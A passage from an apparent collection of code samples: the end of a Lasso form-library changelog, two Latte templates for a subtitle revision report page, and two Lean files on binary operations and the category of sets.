uploads (found by Steve Piercy)\n2010-04-21\tJS\t->renderhtml:  removed encode_html for label\n2010-03-06\tSP\tChanged default behavior of ->updatefields with -sql to add backticks between the table and column names.  Now JOINs may be used.\n2010-03-06\tSP\tAdded ->updatefields with -removedotbackticks for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.\n2009-11-11\tJS\tAdded class and id to optiongroup div that surrounds for checkbox and radio\n2009-11-11\tJS\tCorrected id for checkbox and radio option labels\n2009-10-02\tJS\tAdded id for labels, auto generated from the field\\'s id with _label appended\n2009-09-16\tJS\tSyntax adjustments for Lasso 9\n2009-09-04\tJS\tChanged $__html_reply__ to content_body\n2009-09-04\tJS\t->renderhtml: corrected typ for autoparams\n2009-07-23\tJS\t->renderform: removed encode_html that somehow has reappeared for label. \n2009-07-10\tSP\tadded -maxlength option for text fields\n2009-06-26\tJS\t->oncreate: added deprecation warning for -action\n2009-06-22\tJS\t->addfield: corrected -options check to look for set instead of series (besides array)\n2009-04-16\tJS\t->loadfileds can now load field values from -params also inside an inline\n2009-03-20\tJS\tAdded  <![CDATA[ ... ]]>  around injected scripts for better xhtml compliance\n2009-01-08\tJS\t->getvalue and _unknowntag: added -index parameter to be able to get value for a specific field instance when there are multiple fields with the same name \n2009-01-08\tJS\t->loadfields: implemented support for multiple fields with the same name when loading field values from form submission where the number of same name fields matches\n2009-01-07\tJS\t->setvalue: added -index parameter to be able to set value for a specific field instance when there are multiple fields with the same name \n2008-12-08\tJS\t->renderform: Removed the onclick handlers for checkbox and radio since Safari now supports clicking the label text as click for the checkbox/radio control. \n2008-12-05\tJS\t->renderform: the fieldset and legend field types will now use id and class on the fieldset tag if specified\n2008-12-03\tJS\t->renderform: fields of type fieldset now uses value as legend (just as field type legend already did) instead of always using an empty legend\n2008-09-24\tJS\t->updatefields: Added protection against backtick sql injection in MySQL object names\n2008-09-17\tJS\t->renderform and ->renderhtml: -from and -to allows negative numbers to count from end of form instead\n2008-09-13\tJS\tAdded ->getlabel to return the display name for a field. \n2008-09-13\tJS\t->addfield and ->validate: Implemented -validate to specify a compound expression to validate the field input. \n2008-09-13\tJS\t->addfield and ->loadfields: Implemented -filter to specify a compound expression to filter the field input. \n2008-09-11\tJS\t->updatefields: fixed exclusion of special field types html, legend and fieldset. \n2008-09-11\tJS\t->renderform: Fixed missing value for password fields\n2008-07-02\tJS\t->renderform: Cleaned up the automatic adding of javascript code so it\\'s not added if not needed. Also moved all scripts to the end of the page. More work with with the javascripts is needed.\n2008-06-03\tJS\t->renderform: corrected missing closing </fieldset>\n2008-05-15\tJS\t->renderform and ->renderhtml: adjusted the behavior for nested fieldsets\n2008-05-13\tJS\tImplemented -legend for ->renderhtml, to make it consistent with the new legend field type\n2008-05-13\tJS\tImplemented special field types html, fieldset and legend. Use -value to display data for these fields. A legend field also creates a fieldset (closes any previously open fieldsets). Use fieldset with -value=false to close a fieldset without opening a new one. \n2008-05-06\tJS\tAdded unknowntag as shortcut to getvalue\n2008-01-30\tJS\tRemoved duplicate endscript entries for if(dirty) {makedirty()};\n2007-12-13\tJS\tCorrected ->addfield: -dbfield so empty dbfields are properly ignored by ->updatefields. \n2007-12-11\tJS\tMoved error_msg to knop_base (special version of error_code stays here) \n2007-12-11\tJS\tAdded documentation as -description to most member tags, to be used by the new ->help tag\n2007-12-11\tJS\tMoved ->help to knop_base\n2007-11-13\tJS\tAdded -buttontemplate to be able to specify separate template for buttons, defaults to no <br>, but if template has been specified that will be used instead (for backwards compatibility)\n2007-11-12\tJS\t->process delete now works also when not using record locking (not specifying -user)\n2007-11-01\tJS\t->renderform: added support for -hint for textarea fields.\n2007-09-27\tJS\t->renderhtml: multiple values (array) for radio, checkbox and select are now rendered properly with either \",\" or <br> depending on the presence of -linebreak, and with the display text instead of the actual option value\n2007-09-27\tJS\t->renderform: improved handling of multiple values for checkbox, radio and select\n2007-09-21\tJS\t->addfield: flag parameters now accept false as value\n2007-09-06\tJS\t->oncreate: changed name of -action to -formaction to make it more clear what it is. -action is still supported but deprecated.\n2007-09-06\tJS\t->renderform: Corrected the exception for -session... (duh)\n2007-08-08\tJS\t->renderform: Added exception for -session\n2007-06-18\tJS\tAdded tag timer to most member tags\n2007-06-13\tJS\tadded inheritance from knop_base\n2007-06-12\tJC\tbugfixed -xhtml form rendering when called by quicksearch\n2007-06-11\tJC\tadded handling of xhtml output\n2007-04-19\tJS\t->loadfields: fixed -params that was broken when adding -database\n2007-04-19\tJS\t->renderform: removed invalid wrap=\"soft\" from textarea\n2007-04-12\tJS\t->process: made -user optional (only needed when using record locking)\n2007-04-12\tJS ->loadfields can now take a -database parameter, either as a flag (no value) where the database object connected to the form will be used, or by specifying a database object as value. \n2007-04-03\tJS\tChanged namespace from mt_ to knop_\n2007-03-01\tJS\t->renderform fixed unsavedwarning on page load by moving checkdirty() to afterscript\n2007-03-01\tJS\t->formmode and ->init changed so it preserves the right mode after a failed add\n2007-02-27\tJS\t->renderform: added <div class=\"inputgroup\"> around checkboxes and radios for css formating\n2007-02-26\tJS\t->oncreate: added -actionpath to specify the framework action path for the form instead of manually adding the -action hidden field\n2007-02-24\tJS\tCorrected entersubmitblock behavior by adding onfocus handler on form and starting with submitBlock=false\n2007-02-23\tJS\tRemoved encode_html from form field labels\n2007-02-22\tJS\t->setformat: Added -legend\n2007-02-07\tJS\tAdded ->copyfield to copy a form field to a new name, with the same properties. \n2007-02-07\tJS\t->errors now returns empty array if validate has not been called, instead of performing validation\n2007-02-05\tJS\t->getbutton can now look for also button names that are not one of the built-in ones (for example button_apply)\n2007-02-05\tJS The -keyvalue parameter can be given another name by specifying -keyparamname in oncreate\n2007-02-02\tJS\tAdded ->lockvalue_decrypted\n2007-02-02\tJS\t->addfield: -value is now stored as reference\n2007-02-02\tJS\terror_code now returns an error for when the form contains validation errors\n2007-02-02\tJS\tImproved reporting of Lasso error messaged in error_msg\n2007-02-02\tJS \tAdded real error codes\n2007-01-31\tJS\t->rederform action_params now also exclude \"-\" params that appear in the form action\n2007-01-29\tJS\t->renderform: The first field with input error will get focus when loading page\n2007-01-29\tJS\tAdded -focus to ->addfield to give default field focus when loading page with form\n2007-01-29\tJS\tAdded -disabled to ->addfield, and handling of it in ->renderform\n2007-01-29\tJS\tAdded -noautoparams to ->oncreate to disable the automatic passing of action_params that begin with \"-\"\n2007-01-29\tJS\t->renderform now renders label also for submit, reset to format properly with css\n2007-01-26\tJS\tAdded support for Safari specific <input type=\"search\">\n2007-01-26\tJS\t->renderform action_params that begin with \"-\" now exclude params that exist in the form. Minor corrections to the behavior. \n2007-01-25\tJS\tAdded -nowarning to ->oncreate to disable unsaved warnings for the entire form\n2007-01-25\tJS\tAdded -required to ->oncreate (and a few more from ->setformat)\n2007-01-23\tJS\tAutogenerates id for the form itself\n2007-01-23\tJS\tAdded ->getbutton to return the button that was clicked when submitting a form (cancel, add, save, delete)\n2007-01-23\tJS\tAdded auto conversion of options left hand pair member to string, to make comparsions work reliably. Integer zeros don\\'t compare nicely to strings. \n2007-01-23\tJS\tAdded support for submit-on-enter prevention: specify -entersubmitblock at oncreate\n2007-01-19\tJS\tAddes renderform: -legend to be able to group form fields at render time\n2007-01-19\tJS\tadded support for -optgroup in -options for select. Also works for radio and checkbox. Specify empty -optgroup to close optgroup in select without starting a new, or to add extra linebreak between checkboxes/radio buttons. \n2007-01-19\tJS\tadded -template for oncreate\n2007-01-19\tJS\tadded optional fieldset and legend to form, legend can be specified as -legend at oncreate. if -legend is specified, the form will be wrapped in a fieldset. \n2007-01-19\tJS\tmethod now defaults to post\n2007-01-19\tJS\tCorrected line separator for FileMaker checkboxes and added the same handling also for radio\n2007-01-18\tJS\trenderform: any action_params that begin with \"-\" (except -keyvalue and -lockvalue) are added as form parameters\n2007-01-18\tJS\trenderform: checkboxes and multiselects now show checked and selected properly when loading values from database\n2007-01-18\tJS\tupdatefields: added support for multiple values for one fieldname, like checkboxes (multiple fields in the update pair array, -sql generates comma separated values)\n2007-01-17\tJS\treset button now makes form undirty\n2007-01-17\tJS\taddfield: -confirmmessage can now be specified for any submit or reset button\n2007-01-17\tJS\tadded addfield: -nowarning to avoid unsaved warning when the field is changed\n2007-01-17\tJS\tchanged default class name for unsaved marker from dirty to unsaved\n2007-01-17\tJS\tchanged name of -dirtymarker and -dirtymarkerclass to unsavedmarker and -unsavedmarkerclass for userfriendlyness\n2007-01-17\tJS\tadded setformat: -unsavedwarning to dynamically set the javascript form dirty warning message\n2007-01-17\tJS\trenderform: -field changed to renderform: -name for consistency\n2007-01-16\tJS\trenderform: -field with wrong field name does not output anything, instead of the entire form\n2007-01-16\tJS\tfixed onbeforeunload in javascript form dirty handler\n\nTODO:\n->addfield: Add -format to manipulate the field value before it is displayed by ->renderform and ->renderhtml, much like -filter but only for display and without affecting input. \n->addfield: Add -fieldgroup to be able to group related fields together, useful for ->updatefields to return just fields that belong to a specific db table, or ->renderform as another way to render a form selectively\n->renderform needs a better way to display errors inline together with the fields\nMake _unknowntag also work as shortcut to setvalue if a value is specified\nAdd a new special field type to the form object, let\\'s say \"data\". That field type will not interact with forms and will never be touched by loadfields, but it will populate ->updatefields.\nAdd -> searchfields, which will return a fulltext enabled pair array better suited for searchs than ->updatefields is. -fulltext needs to be specified per field. \nReview and clean up the javascripts inserted automatically by knop_form - partially done\nOption to let textarea grow automatically depending on the amount of text in it.  \nUse http://bassistance.de/jquery-plugins/jquery-plugin-validation/ instead of client side validation\nPossibly add support for the same validation expressions as the jquery validation plugin uses, so server side a nd client side validation can be specified at once. \nAdd -path as parameter for oncreate so the form action can be set with less confusion...  In that case -formaction will be a physical url, while -path would be a framework path. \nFix actionpath reference so it updates properly when altering the value (not possible?)\nShould loadfields load \"-\" params?\nUnsavedwarning made optional, does not seem to work properly now?\nMore flexible error hightlighting\nMove templates to a member tag to be make it easier to subclass (Douglas Burchard)\nAdd \"button\". <button></button>. Subtypes are submit, reset and button. How to specify the subtype? (Douglas Burchard)\nChange ->addfield to ->insert and make ->addfield deprecated\nThere is no src for input type image!\nAdd ->size and ->get so the form object can be iterated\nAdd -skipemtpy to to ->renderhtml\nOption for -> renderhtml to output without html encoding\n->renderhtml should never html encode fields of type html\n\n',));\n\t\tif(local_defined('type'));return(#changenotes -> find(#type));else;\n\t\t!local_defined('date') ? local('date'=date('1900-01-01')) | #date = date(#date);\n\t\titerate(#changenotes, local('changenote'));\n\t\t\t#output += #changenote -> name + '\\n';\n\t\t\titerate(#changenote ->value -> split('\\n'), local('changenote_row'));\n\t\t\t\tif(date(#changenote_row -> split(regexp('\\\\s')) -> first) >= #date);\n\t\t\t\t\t#output += #changenote_row + '\\n';\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t\t#output += '\\n';\n\t\t/iterate;\n\t\treturn(@#output);/if;\n\t\t/define_tag]"
  },
  {
    "path": "samples/Latte/layout.latte",
    "content": "{**\n * @param string $basePath web base path\n * @param string $robots tell robots how to index the content of a page (optional)\n * @param array $flashes flash messages\n *}\n<!DOCTYPE html>\n<html>\n<head>\n\t<meta charset=\"utf-8\">\n\t<meta name=\"description\" content=\"\">\n\t<meta name=\"author\" content=\"\">\n\t<meta name=\"robots\" content=\"{$robots}\" n:ifset=\"$robots\">\n\t<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n\n\t<title>{ifset $title}{$title} › {/ifset}Translation report</title>\n\n\t<link rel=\"stylesheet\" media=\"screen,projection,tv\" href=\"{$cdnUrl}/css/style.css?v={$cssHash}\">\n\t<link rel=\"shortcut icon\" href=\"{$cdnUrl}/favicon.png\">\n\t<!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->\n    <!--[if lt IE 9]>\n\t\t<script src=\"https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js\"></script>\n\t\t<script src=\"https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js\"></script>\n    <![endif]-->\n    <script n:syntax=\"off\">\n\t\t(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){\n\t\t(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\n\t\tm=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\n\t\t})(window,document,'script','//www.google-analytics.com/analytics.js','ga');\n\t\tga('create', 'UA-33892654-4', 'khanovaskola.cz');\n\t\tga('send', 'pageview');\n    </script>\n\t{block #head}{/block}\n</head>\n\n<body class=\"amara-guest history-empty\">\n\t<script> document.documentElement.className+=' js' </script>\n\n\t{block #navbar}\n\t\t{include _navbar.latte}\n\t{/block}\n\n\t<div class=\"container\">\n\t\t<div class=\"row\">\n\t\t\t<div class=\"col-md-8 col-md-offset-2\" n:inner-foreach=\"$flashes as $flash\">\n\t\t\t\t{include _flash.latte, flash => $flash}\n\t\t\t</div>\n\t\t</div>\n\n\t\t{include #content}\n\t</div>\n\n\t<footer>\n\t</footer>\n\n\t<script src=\"{$cdnUrl}/js/compiled.js?v={$jsHash}\"></script>\n\t{block #scripts}{/block}\n</body>\n</html>\n"
  },
  {
    "path": "samples/Latte/template.latte",
    "content": "{var $title => \"⚐ {$new->title}\"}\n{define author}\n\t<a n:href=\"Author: authorId => $author->id\" class=\"black\">\n\t\t<img src=\"{$author->avatar}\" width=\"32\" height=\"32\" class=\"img-rounded\">\n\t\t<span class=\"{$class}\">{$author->name|trim}</span>\n\t</a>\n\t<span data-toggle=\"tooltip\" title=\"Total time {$author->shortName} translated on all videos.\">\n\t\t{$author->estimatedTimeTranslated|secondsToTime}{*\n\t*}</span>{if $author->joined}, {/if}\n\t{if $author->joined}joined {$author->joined|timeAgo}{/if}{*\n\t*}{ifset $postfix}, {$postfix}{/ifset}\n{/define}\n{block #scripts}\n\t<script src=\"{$amaraCallbackLink}\"></script>\n{/block}\n{block #content}\n\n{if isset($old)}\n\t<h1>Diffing revision #{$old->revision} and #{$new->revision}</h1>\n{else}\n\t<h1>First revision</h1>\n{/if}\n\n{var $editor = $user->loggedIn && $new->language === 'cs'}\n{var $rev = $new->video->siteRevision}\n<div class=\"row\">\n\t<div class=\"col-md-7\">\n\t\t<p>\n\t\t\tpublished <b>{$new->publishedAt|timeAgo}</b>{*\n\t\t\t*}{ifset $old},\n\t\t\t\t<span>\n\t\t\t\t\t{$new->textChange * 100|number}&thinsp;% text change{*\n\t\t\t\t*}</span>{*\n\t\t\t\t*}{if $new->timeChange},\n\t\t\t\t\t<span>\n\t\t\t\t\t\t{$new->timeChange * 100|number}&thinsp;% timing change\n\t\t\t\t\t</span>\n\t\t\t\t{/if}\n\t\t\t{/ifset}\n\t\t</p>\n\t\t{cache $new->id, expires => '+4 hours'}\n\t\t\t<p>\n\t\t\t\t{if isset($old) && $old->author->name !== $new->author->name}\n\t\t\t\t\t{include author, author => $old->author, class => 'author-old'}\n\t\t\t\t\t&mdash;\n\t\t\t\t\t{include author, author => $new->author, class => 'author-new'}\n\t\t\t\t{elseif isset($old)}\n\t\t\t\t\t{include author, author => $new->author, class => 'author-new', postfix => 'authored both revisions'}\n\t\t\t\t{else}\n\t\t\t\t\t{include author, author => $new->author, class => 'author-new'}\n\t\t\t\t{/if}\n\t\t\t</p>\n\t\t{/cache}\n\n\t\t{var $threshold = 10}\n\t\t{cache $new->id}\n\t\t\t{var $done = $new->timeTranslated}\n\t\t\t{var $outOf = $new->video->canonicalTimeTranslated}\n\t\t\t{if $outOf}\n\t\t\t\t<p n:if=\"$outOf > $done + $threshold\" class=\"alert alert-warning\">\n\t\t\t\t\tOnly {$done|time} translated out of {$outOf|time},\n\t\t\t\t\t{(1-$done/$outOf) * 100|number}&thinsp;% ({$outOf - $done|time}) left\n\t\t\t\t</p>\n\t\t\t\t<p n:if=\"$outOf <= $done + $threshold\" class=\"alert alert-success\">\n\t\t\t\t\tSeems complete: {$done|time} translated out of {$outOf|time}\n\t\t\t\t</p>\n\t\t\t{elseif $done}\n\t\t\t\t<p n:if=\"$outOf <= $done + $threshold\" class=\"alert alert-info\">\n\t\t\t\t\tAlthough {$done|time} is translated, there are no English subtitles for comparison.\n\t\t\t\t</p>\n\t\t\t{/if}\n\t\t{/cache}\n\n\t\t{if $editor}\n\t\t\t{var $ksid = $new->video->siteId}\n\t\t\t{if $ksid}\n\t\t\t\t<a href=\"https://khanovaskola.cz/watch/default/?vid={$ksid}\">\n\t\t\t\t\tVideo on khanovaskola.cz\n\t\t\t\t\t{if $new->revision === $rev}\n\t\t\t\t\t\t(on this revision)\n\t\t\t\t\t{elseif $new->revision > $rev}\n\t\t\t\t\t\t(on older revision #{$rev})\n\t\t\t\t\t{else}\n\t\t\t\t\t\t(on newer revision #{$rev})\n\t\t\t\t\t{/if}\n\t\t\t\t</a>\n\t\t\t{/if}\n\t\t{/if}\n\n\t\t<h3 class=\"diff\">{$diffs->title|noescape}</h3>\n\t\t<div class=\"lead diff\">{$diffs->description|noescape}</div>\n\t\t<div class=\"diff subtitles\">\n\t\t\t<div n:foreach=\"$diffs->text as $line\" class=\"line\" data-context=\"{$line->context}\">\n\t\t\t\t{$line->text|noescape}&nbsp;\n\t\t\t</div>\n\t\t\t<div class=\"splitter template\">\n\t\t\t\t<span data-toggle=\"tooltip\" data-placement=\"bottom\" title=\"Expand\">\n\t\t\t\t\t<i class=\"fa fa-sort\"></i> <i class=\"fa fa-ellipsis-h\"></i>\n\t\t\t\t</span>\n\t\t\t</div>\n\t\t</div>\n\n\t\t{if $editor}\n\t\t\t{if $new->approved}\n\t\t\t\t<span class=\"text-success\">\n\t\t\t\t\tRevision has been approved{if $new->editor} by {$new->editor->name}{/if}.\n\t\t\t\t</span>\n\t\t\t\t<a n:href=\"amaraEdit, amaraId => $new->video->amaraId\" n:block=\"editButton\" class=\"btn btn-default\">\n\t\t\t\t\t<i class=\"fa fa-edit\"></i>\n\t\t\t\t\tEdit on Amara\n\t\t\t\t</a>\n\t\t\t\t<a n:href=\"khanAcademy\" n:block=\"kaButton\" class=\"btn btn-link\">\n\t\t\t\t\ton Khan Academy\n\t\t\t\t</a>\n\n\t\t\t{elseif $new->incomplete}\n\t\t\t\t<span class=\"text-info\">\n\t\t\t\t\tRevision has been marked as incomplete by {if $new->editor}{$new->editor->name}{/if}.\n\t\t\t\t</span>\n\t\t\t\t{include editButton}\n\t\t\t\t{include kaButton}\n\n\t\t\t{* else $new->status === UNSET: *}\n\t\t\t{elseif $new->video->siteId}\n\t\t\t\t<div class=\"btn-group\">\n\t\t\t\t\t<a n:href=\"approve!\" class=\"btn btn-default\">\n\t\t\t\t\t\t<i class=\"fa fa-thumbs-o-up\"></i>\n\t\t\t\t\t\tApprove (update kš)\n\t\t\t\t\t</a>\n\t\t\t\t\t<a n:href=\"markIncomplete!\" class=\"btn btn-default\">\n\t\t\t\t\t\t<i class=\"fa fa-thumbs-o-down\"></i>\n\t\t\t\t\t\tMark as incomplete\n\t\t\t\t\t</a>\n\t\t\t\t\t{include editButton}\n\t\t\t\t</div>\n\t\t\t\t{include kaButton}\n\n\t\t\t{else}\n\t\t\t\t<div class=\"btn-group\">\n\t\t\t\t\t<a n:href=\"redirectToAdd!\" class=\"btn btn-default\">\n\t\t\t\t\t\t<i class=\"fa fa-plus-square-o\"></i>\n\t\t\t\t\t\tApprove (add to kš)\n\t\t\t\t\t</a>\n\t\t\t\t\t<a n:href=\"markIncomplete!\" class=\"btn btn-default\">\n\t\t\t\t\t\t<i class=\"fa fa-thumbs-o-down\"></i>\n\t\t\t\t\t\tMark as incomplete\n\t\t\t\t\t</a>\n\t\t\t\t\t{include editButton}\n\t\t\t\t</div>\n\t\t\t\t{include kaButton}\n\t\t\t\t<div>\n\t\t\t\t\t<h5>Filed under category:</h5>\n\t\t\t\t\t{foreach $new->video->categories as $list}\n\t\t\t\t\t\t&mdash; {$list|implode:' › '}{sep}<br>{/sep}\n\t\t\t\t\t{/foreach}\n\t\t\t\t</div>\n\t\t\t{/if}\n\t\t{/if}\n\t</div>\n\t<div class=\"col-md-5\">\n\t\t<h4>All revisions:</h4>\n\t\t<table class=\"table table-condensed revisions\">\n\t\t\t{foreach $new->video->getRevisionsIn($new->language) as $revision}\n\t\t\t\t<tr n:class=\"$revision->revision === $new->revision ? 'active'\">\n\t\t\t\t\t<td class=\"revision\">\n\t\t\t\t\t\t<a n:href=\"this, revId => $revision->id\">#{$revision->revision}</a>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<a n:href=\"Author: authorId => $revision->author->id\" class=\"black\">\n\t\t\t\t\t\t\t<img src=\"{$revision->author->avatar}\" width=\"32\" height=\"32\" class=\"img-rounded\">\n\t\t\t\t\t\t\t{$revision->author->name}\n\t\t\t\t\t\t</a>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<span class=\"secondary\">\n\t\t\t\t\t\t\t{$revision->publishedAt|timeAgo}\n\t\t\t\t\t\t</span>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t{* vars $outOf, $threshold already set *}\n\t\t\t\t\t\t{default $outOf = $new->video->canonicalTimeTranslated}\n\t\t\t\t\t\t{if $outOf} {* ignore if canonical time not set *}\n\t\t\t\t\t\t\t{var $done = $revision->timeTranslated}\n\t\t\t\t\t\t\t<span n:if=\"$outOf > $done + $threshold\" class=\"text-warning\"\n\t\t\t\t\t\t\t\tdata-toggle=\"tooltip\" title=\"Percent of lines translated\">\n\t\t\t\t\t\t\t\t{$done/$outOf * 100|number}&thinsp;%\n\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t<span n:if=\"$outOf <= $done + $threshold\" class=\"text-success\">\n\t\t\t\t\t\t\t\t~100&thinsp;%\n\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t{/if}\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t{if $revision->incomplete || $revision->approved}\n\t\t\t\t\t\t\t{var $i = $revision->incomplete}\n\t\t\t\t\t\t\t<span n:class=\"$i ? 'text-warning' : 'text-success'\">\n\t\t\t\t\t\t\t\t{if $i}incomplete{else}approved{/if}\n\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t{/if}\n\t\t\t\t\t</td>\n\t\t\t\t\t{if $user->loggedIn && $revision->comments->count()}\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class=\"row-noborder\">\n\t\t\t\t\t\t\t<td colspan=\"99\">\n\t\t\t\t\t\t\t\t<table class=\"comments\">\n\t\t\t\t\t\t\t\t\t<tr n:foreach=\"$revision->comments as $comment\">\n\t\t\t\t\t\t\t\t\t\t<td class=\"col-comment-author\">\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"secondary\" data-toggle=\"tooltip\" data-placement=\"left\"\n\t\t\t\t\t\t\t\t\t\t\t\ttitle=\"{$comment->createdAt|timeAgo}\">\n\t\t\t\t\t\t\t\t\t\t\t\t{$comment->user->name}:\n\t\t\t\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t\t\t\t<span>\n\t\t\t\t\t\t\t\t\t\t\t\t{$comment->text}\n\t\t\t\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t{/if}\n\t\t\t\t\t{if $user->loggedIn && $new->id === $revision->id}\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class=\"row-noborder\">\n\t\t\t\t\t\t\t<td colspan=\"99\">\n\t\t\t\t\t\t\t\t{form commentForm}\n\t\t\t\t\t\t\t\t\t<div class=\"input-group comment-input\">\n\t\t\t\t\t\t\t\t\t\t{input text, class => \"form-control\", placeholder => \"Comment this revision (only visible to other editors)\"}\n\t\t\t\t\t\t\t\t\t\t<span class=\"input-group-btn\">\n\t\t\t\t\t\t\t\t\t\t\t<button class=\"btn btn-default\" n:name=\"save\">\n\t\t\t\t\t\t\t\t\t\t\t\t<i class=\"fa fa-share\"></i>\n\t\t\t\t\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t{/form}\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t{/if}\n\t\t\t\t</tr>\n\t\t\t{/foreach}\n\t\t</table>\n\n\t</div>\n</div>\n"
  },
  {
    "path": "samples/Lean/binary.lean",
    "content": "/-\nCopyright (c) 2014 Microsoft Corporation. All rights reserved.\nReleased under Apache 2.0 license as described in the file LICENSE.\n\nModule: algebra.binary\nAuthors: Leonardo de Moura, Jeremy Avigad\n\nGeneral properties of binary operations.\n-/\n\nimport logic.eq\nopen eq.ops\n\nnamespace binary\n  section\n    variable {A : Type}\n    variables (op₁ : A → A → A) (inv : A → A) (one : A)\n\n    local notation a * b := op₁ a b\n    local notation a ⁻¹  := inv a\n    local notation 1     := one\n\n    definition commutative := ∀a b, a * b = b * a\n    definition associative := ∀a b c, (a * b) * c = a * (b * c)\n    definition left_identity := ∀a, 1 * a = a\n    definition right_identity := ∀a, a * 1 = a\n    definition left_inverse := ∀a, a⁻¹ * a = 1\n    definition right_inverse := ∀a, a * a⁻¹ = 1\n    definition left_cancelative := ∀a b c, a * b = a * c → b = c\n    definition right_cancelative := ∀a b c, a * b = c * b → a = c\n\n    definition inv_op_cancel_left := ∀a b, a⁻¹ * (a * b) = b\n    definition op_inv_cancel_left := ∀a b, a * (a⁻¹ * b) = b\n    definition inv_op_cancel_right := ∀a b, a * b⁻¹ * b =  a\n    definition op_inv_cancel_right := ∀a b, a * b * b⁻¹ = a\n\n    variable (op₂ : A → A → A)\n\n    local notation a + b := op₂ a b\n\n    definition left_distributive := ∀a b c, a * (b + c) = a * b + a * c\n    definition right_distributive := ∀a b c, (a + b) * c = a * c + b * c\n  end\n\n  context\n    variable {A : Type}\n    variable {f : A → A → A}\n    variable H_comm : commutative f\n    variable H_assoc : associative f\n    infixl `*` := f\n    theorem left_comm : ∀a b c, a*(b*c) = b*(a*c) :=\n    take a b c, calc\n      a*(b*c) = (a*b)*c  : H_assoc\n        ...   = (b*a)*c  : H_comm\n        ...   = b*(a*c)  : H_assoc\n\n    theorem right_comm : ∀a b c, (a*b)*c = (a*c)*b :=\n    take a b c, calc\n      (a*b)*c = a*(b*c) : H_assoc\n        ...   = a*(c*b) : H_comm\n        ...   = (a*c)*b : H_assoc\n  end\n\n  context\n    variable {A : Type}\n    variable {f : A → A → A}\n    variable H_assoc : associative f\n    infixl `*` := f\n    theorem assoc4helper (a b c d) : (a*b)*(c*d) = a*((b*c)*d) :=\n    calc\n      (a*b)*(c*d) = a*(b*(c*d)) : H_assoc\n              ... = a*((b*c)*d) : H_assoc\n  end\n\nend binary\n"
  },
  {
    "path": "samples/Lean/set.hlean",
    "content": "-- Copyright (c) 2015 Jakob von Raumer. All rights reserved.\n-- Released under Apache 2.0 license as described in the file LICENSE.\n-- Authors: Jakob von Raumer\n-- Category of sets\n\nimport .basic types.pi trunc\n\nopen truncation sigma sigma.ops pi function eq morphism precategory\nopen equiv\n\nnamespace precategory\n\n  universe variable l\n\n  definition set_precategory : precategory.{l+1 l} (Σ (A : Type.{l}), is_hset A) :=\n  begin\n    fapply precategory.mk.{l+1 l},\n                  intros, apply (a.1 → a_1.1),\n                intros, apply trunc_pi, intros, apply b.2,\n              intros, intro x, exact (a_1 (a_2 x)),\n            intros, exact (λ (x : a.1), x),\n          intros, apply funext.path_pi, intro x, apply idp,\n        intros, apply funext.path_pi, intro x, apply idp,\n      intros, apply funext.path_pi, intro x, apply idp,\n  end\n\nend precategory\n\nnamespace category\n\n  universe variable l\n  local attribute precategory.set_precategory.{l+1 l} [instance]\n\n  definition set_category_equiv_iso (a b : (Σ (A : Type.{l}), is_hset A))\n    : (a ≅ b) = (a.1 ≃ b.1) :=\n  /-begin\n    apply ua, fapply equiv.mk,\n      intro H,\n        apply (isomorphic.rec_on H), intros (H1, H2),\n        apply (is_iso.rec_on H2), intros (H3, H4, H5),\n        fapply equiv.mk,\n        apply (isomorphic.rec_on H), intros (H1, H2),\n        exact H1,\n      fapply is_equiv.adjointify, exact H3,\n          exact sorry,\n        exact sorry,\n  end-/ sorry\n\n  definition set_category : category.{l+1 l} (Σ (A : Type.{l}), is_hset A) :=\n  /-begin\n    assert (C : precategory.{l+1 l} (Σ (A : Type.{l}), is_hset A)),\n      apply precategory.set_precategory,\n    apply category.mk,\n    assert (p : (λ A B p, (set_category_equiv_iso A B) ▹ iso_of_path p) = (λ A B p, @equiv_path A.1 B.1 p)),\n    apply is_equiv.adjointify,\n        intros,\n        apply (isomorphic.rec_on a_1), intros (iso', is_iso'),\n        apply (is_iso.rec_on is_iso'), intros (f', f'sect, f'retr),\n        fapply sigma.path,\n          apply ua, fapply equiv.mk, exact iso',\n          fapply is_equiv.adjointify,\n              exact f',\n            intros, apply (f'retr ▹ _),\n          intros, apply (f'sect ▹ _),\n        apply (@is_hprop.elim),\n        apply is_trunc_is_hprop,\n      intros,\n  end -/ sorry\n\nend category\n"
  },
  {
    "path": "samples/Lean 4/BirthdayProblem.lean",
